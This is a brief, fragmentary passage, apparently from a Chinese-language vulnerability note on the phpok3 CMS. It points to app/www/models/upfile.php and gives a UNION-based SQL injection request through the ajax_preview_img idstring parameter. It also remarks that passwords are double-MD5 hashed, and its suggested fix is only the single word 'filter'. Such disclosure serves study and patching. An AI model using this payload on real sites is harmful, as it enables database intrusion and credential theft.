phpok3/app/www/models/upfile.php

?c=open&f=ajax_preview_img&idstring=0) union select 1,version()%23

\

密码两次MD5,当然你也可以直接跑session(没测试,我随口一说)

修复:

过滤